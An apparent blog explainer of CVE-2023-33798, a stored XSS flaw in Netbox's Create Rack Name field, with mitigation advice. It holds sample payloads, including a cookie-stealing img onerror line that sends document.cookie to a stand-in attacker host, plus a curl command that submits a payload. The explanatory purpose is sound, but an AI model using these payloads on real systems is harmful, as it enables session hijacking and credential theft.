In May 2023, a serious security bug, tracked as CVE-2023-33798, came to light affecting Netbox, a popular open-source infrastructure resource modeling tool. The bug introduced a stored cross-site scripting (XSS) vulnerability in the “Create Rack” (/dcim/rack/) function on Netbox v3.5.1, allowing attackers to inject malicious code into the Name field. If left unchecked, this bug can lead to account hijacking, credential theft, or even broader compromise—just by convincing a user or admin to view a crafted entry.
Let’s break down how this flaw works, how attackers can use it, and how you can stay safe if you use Netbox. All code and guidance here are exclusive for educational defense purposes only.
What is Stored XSS?
Cross-site scripting (XSS) is a type of web vulnerability where attackers inject malicious scripts into trusted websites. *Stored* XSS is especially dangerous because the payload is saved on the site (not just reflected), attacking anyone who visits the infected page later.
In this Netbox case, the vulnerability is in *how the app processes user input* in the “Name” field of the "Create Rack" feature.
Where's the Vulnerability?
Affected Endpoint:
POST /dcim/rack/
Netbox v3.5.1
If you enter a value for the "Name" field when creating a new rack, Netbox fails to sanitize the input properly. Instead of stripping out potentially harmful code, it saves it to the database—and then displays it directly on the admin interface or listing page.
Creates a New Rack: Submits a Name that includes a crafted JavaScript payload.
3. Payload Stored: Netbox saves the value and shows it later on the racks list, without sanitization.
4. Victim Visits the Page: Any administrator or user browsing to that rack list or details page triggers the exploit—the script runs with their privileges.
A very basic payload (never use this except in a test lab!)
<script>alert('XSS by CVE-2023-33798');</script>
Or, a more stealthy one (steal cookies)
<img src=x onerror="fetch('https://attacker.site/x?'; + document.cookie)">
How to submit (using curl)
curl -X POST \
-H "Cookie: sessionid=YOUR_SESSION_ID" \
-F "name=<script>alert('CVE-2023-33798')</script>" \
-F "site=1" \
-F "rack_role=1" \
http://YOUR_NETBOX_URL/dcim/rack/add/
Note: Replace YOUR_SESSION_ID, site, and rack_role as needed.
Seeing the Exploit in Action
Step 1: Attacker submits the payload in the form.
Step 2: Netbox saves it as plain HTML/JS.
Step 3: When any user views the rack list (or rack details), Netbox renders the payload—JavaScript executes in their browser session.
Result: The attacker now runs code in the victim’s session—the sky's the limit.
How to Fix or Prevent
Patch released:
Netbox maintainers released updates; see GitHub advisory and the fix commit for more.
Least Privilege: Limit who can add entries—don’t let untrusted users create racks.
- Content Security Policy (CSP): Add headers to block inline scripts (not a perfect fix, but helps).
References
- CVE-2023-33798 Detail
- Netbox GitHub Security Advisory
- Netbox Patch PR #12940
- OWASP XSS Guide
Final Thoughts
CVE-2023-33798 is a textbook example of why *even trusted user input should be handled carefully*. Because the "Create Rack" function didn’t filter script tags, any user with at least basic rack creation rights could have *persistently* compromised other users or admins via XSS.
Advice: Always keep your Netbox—and any other apps—up to date. Never trust input, always sanitize and escape output, and monitor for suspicious entries in your infrastructure tools.
Timeline
Published on: 05/24/2023 20:15:00 UTC
Last modified on: 05/27/2023 03:41:00 UTC